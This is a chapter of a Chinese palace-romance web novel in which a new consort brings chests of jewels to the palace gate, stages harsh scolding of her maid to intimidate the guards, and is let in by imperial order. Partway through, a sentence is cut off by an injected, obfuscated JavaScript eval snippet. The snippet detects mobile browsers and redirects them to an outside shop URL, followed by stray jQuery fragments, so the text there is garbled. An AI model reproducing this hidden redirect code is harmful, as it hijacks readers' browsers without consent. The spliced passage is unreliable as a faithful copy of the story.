今日天气极好,一大早就艳阳高照,院中的树叶在阳光的照射下变得油亮。
紫宸殿外,宫女内侍井然有序地做着各自的活儿,声音很小,仔细听才能察觉到悉悉索索的动静。
“夫人还没来吗?”宗政禹坐在御案后批阅奏疏,刚提笔又顿住,这也不知是他第几次抬头,看着外面刺眼的阳光只觉得内心烦躁不已。
陈义打发走前来报信的小太监,迈着小碎步走到宗政禹跟前:“陛下,丹凤门那边来报,说是娘娘带的东西不符合规矩。”
“带什么了?”宗政禹皱眉,难道她箱笼之中带了什么利器,他记得她卧房的南墙上是挂着一把角弓,一柄短剑,看那样子应当是她心爱之物,“今早去接她的人没告诉她什么能带,什么不能带吗?”
“违禁之物,你叫人送回姜府去。”他是明君,自然不能因为姜云笙是他新宠而破坏宫中规定。
陈义面色纠结,似有为难。
宗政禹未能第一时间得到答案,皱眉的同时也忍不住好奇:“莫不是她真把她房中的那一把镶满宝石的短剑也带上了?”
若是如此,那她当真是胆大包天。
陈义一噎,心道,那倒也不至于:“陛下,丹凤门那边来报,昭仪娘娘所带之物大半都是价值连城的珠宝首饰,侍卫们此刻不知该如何是好。”
大胤有规定,为了防止宫禁内出现结党营私等乱象危及贵人安危,不允许任何人携带大量贵重财物进入宫内。
而姜云笙随身的行李中,除了几身衣裳,其余的两个箱子满满当当装的全是珠宝首饰。
“朕还以为是什么东西呢。”宗政禹松一口气的同时还鄙夷地嗤了陈义一声,“这也值得你支吾半晌?”
还不等陈义说什么,宗政禹大手一挥:“不过是些珠宝首饰,让人放行吧。”
“奴婢这就去。”陈义得了准信,片刻都不敢耽误,赶紧走到门边随意指派了一个最近的小太监出去传信。
大热天的,若是姜云笙热出个好歹,谁都讨不了好。
七月流火,九月授衣。(注1)
虽说早晚天气已有转凉的征兆,但太阳一出来,依旧能让人感觉到酷暑的威力。
姜云笙倒是无所谓,早在出发之前,成伯就让让人在马车角落里安置了两个小型的冰瓮。
里面的冰块都是挑的最大块的,此刻正悠悠往外散发着凉意。
姜云笙端坐在车里,除了无聊,并无其他不适。
车外还继续僵持着,小喜子的到来也并没有让局面缓和太多。
姜云笙的态度很明确,谁也别想动她的首饰一颗珠子,而侍卫也为难,宫里有宫里的规定,若是出了事,他们担不起这个责任。
于是,双方便顶着毒日头在丹凤门跟前互不相让。
侍卫们不怕热,小喜子习惯了,也只有知琴,为了捍卫姜云笙的财产完整,含笑站在箱子跟前,一步也不肯退让,脑门上的汗密密麻麻,亮晶晶。
“知琴,倒茶。”旁人如何姜云笙并不在意,但是知琴不一样。
姜云笙的声音从马车内传出来,小喜子最会看眼色,一听便察觉了她语气中的不悦,心中一惊,赶紧推着知琴往车上走:“知琴姑娘还是去伺候昭仪娘娘吧,这里有奴婢呢。”
话落,他便接替了知琴的位置,站在装满了首饰的箱笼前,誓死守护。
知琴刚爬上马车,就看到姜云笙给她使眼色,两人从小培养起来的默契让知琴迅速领悟了她的意思:“娘娘恕罪,是奴婢疏忽了。”
“先跪着吧。”姜云笙倒了一杯茶递给知琴,语气冷冷,“就连这么点小事都办不好,本宫要你何用?”
知琴将凉茶一饮而尽,还没完全咽下去就赶紧接话,还被水噎了下喉咙:“娘娘……娘娘,是奴婢无能。”
侍卫首领听见知琴哽咽的声音心中发凉,暗自思忖,这姜昭仪对亲近的婢女尚且严苛至此,那他这个“为难”过她的人,岂不是他日要遭到更严重的报复?
小喜子眼底也有些忧虑,心有犹豫不决:完了完了,这昭仪娘娘似乎并非什么好性儿的主子,我打点关系去蓬莱殿伺候这个决定是不是做错了?
“坐久了有些乏,给我捶捶腿吧。”还没想明白呢,小喜子又听到了姜云笙的声音。
紧接着马车内就传来了细细簌簌的动静,是手轻轻拍打在布料上才有的声音。
姜云笙看着知琴坐那儿锤肩,转动脖子,又给她倒了一杯茶递到跟前。
知琴一只手接过茶杯,另外一只手还不断在自己肩上拍着,喝完茶后,和姜云笙眉飞色舞一阵,传递着只有两人才明白的眼神暗号。
姜云笙挑眉,然后先呼一声痛,紧接着又厉声呵斥:“哎哟,你使这么大的劲儿做什么,你想疼死本宫吗?”
知琴压低嗓音,仓皇道歉:“娘娘息怒。”
“行了行了,就跪着吧。”姜云笙不耐烦地让她停下,“什么都干不好,真够笨手笨脚的。”
不过短短一刻钟,马车外所有人都下意识放轻了呼吸。
侍卫首领依旧不敢擅自放姜云笙和这么多财物进宫,但他又害怕日后被报复,脑子一转,叫人把马车往阴凉处牵去。
“昭仪娘娘,这会儿日头正毒,卑职让人把马车往阴凉处挪些,免得娘娘受了暑热。”
姜云笙和知琴两人相视瘪嘴,谁都不曾出声。
沉默了片刻后,姜云笙估摸着侍卫首领心中开始打鼓,才示意知琴出声:“有劳侍卫大哥,娘娘最怕暑热……”
“你和他费什么话?还不赶紧给本宫打扇?”话没说完,姜云笙便厉声打断,让正要卖好讨巧的侍卫一噎,所有的话都被堵在喉中,上不去,下不来,脸色精彩纷呈。
知琴憋着笑接过姜云笙递来的扇子,坐在姜云笙旁边呼啦呼啦给自己扇风,时不时还从姜云笙跟前的小几上摸一个果脯塞进嘴里。
主仆两一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366342|196913||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唱一和,并肩坐在马车上凉快又自在,倒是苦了外面的人。
前来接驾的人心里如何苦闷不知,反正小喜子在心里求爷爷告奶奶,都快哭出来了。
侍卫首领心知这样下去也不是办法,凑在小喜子跟前和他商量:“喜公公,要不您劝劝昭仪娘娘?”
小喜子指着马车里小声嘀咕:“知琴是娘娘的陪嫁婢女,娘娘是如何待她的?像奴婢这等低贱之人开口,只怕届时娘娘动了怒,将军才不好收场。”
首领深知小喜子言之有理,可是若再僵持下去,只怕还没等到姜云笙的报复,就先要承受来自宗政禹的怒火。
就在他两下为难之际,宫里传出动静。
“前方可是姜昭仪车驾?”又来一名内侍。
禁军首领顿如久旱逢甘霖,他三步并作两步赶紧走上去:“正是昭仪娘娘车驾,不知公公可是奉圣谕而来?”
禁军首领虽是问话,但眼底的希冀都快凝成水落下来了。
内侍顿了顿,才答道:“陛下口谕,姜昭仪所携带一应随侍、物品皆可带入蓬莱殿。”
禁军首领不意圣谕竟是如此,他难以置信地同内侍确认:“公公是否宣错圣谕?宫中规定,妃嫔入宫不得携带大量贵重珠宝首饰以及现银,姜昭仪这……”
说着,他还给内侍指了指小喜子身后的箱笼。
内侍头一回单独传达圣意,心中正得意自己受了器重呢,如何听得旁人质疑,立即脸一横、眉一竖:“怎么,将军这是在质疑陛下圣意?”
“末将不敢。”禁军首领心中一惊,赶紧认罪,“是卑职失言了,还望公公勿怪。”
内侍看他对自己抱拳行礼,心中得意,却故意沉默片刻才勉强答道:“既然圣意已传达,就赶紧恭迎昭仪娘娘入主蓬莱殿吧。”
“是。”既然的确是圣意,那禁军首领也不敢有片刻阻塞,立即对着马车内抱拳告罪,“还请昭仪娘娘勿怪,属下等也是听吩咐办事。”
姜云笙看着知琴脑门儿上还没下去的汗意,心中不悦,才不想这么轻易放过他:“你叫什么名字?”
“属下朱逸群。”朱逸群忐忑无比地报上名号。
姜云笙听到他名字后差点没咬到自己的舌头,沉默片刻后:“本宫记住你了。”
意味深长的语气让在场所有人都替他捏了一把冷汗。
而刚被他质疑的内侍却在幸灾乐祸,路过朱逸群身边时,还投了个鄙夷的眼神过去,心中不屑道:姜昭仪无父无母,还是二嫁,能有多少金银珠宝,让你如此小题大做,当真是没见过世面。
内侍走到小喜子跟前,干咳两声,故意训斥:“小喜子,这不过是押送几个箱笼,怎得耽误了这么许久,陛下都等的不耐烦,能有多少东西值得你浪费这么长时间?”
内侍不屑的眼神往小喜子身后的箱笼里瞟,目光接触到箱笼里的东西时,得意洋洋的表情顿时僵住,本就阴柔有余的声音瞬间变成公鸡一样的尖叫。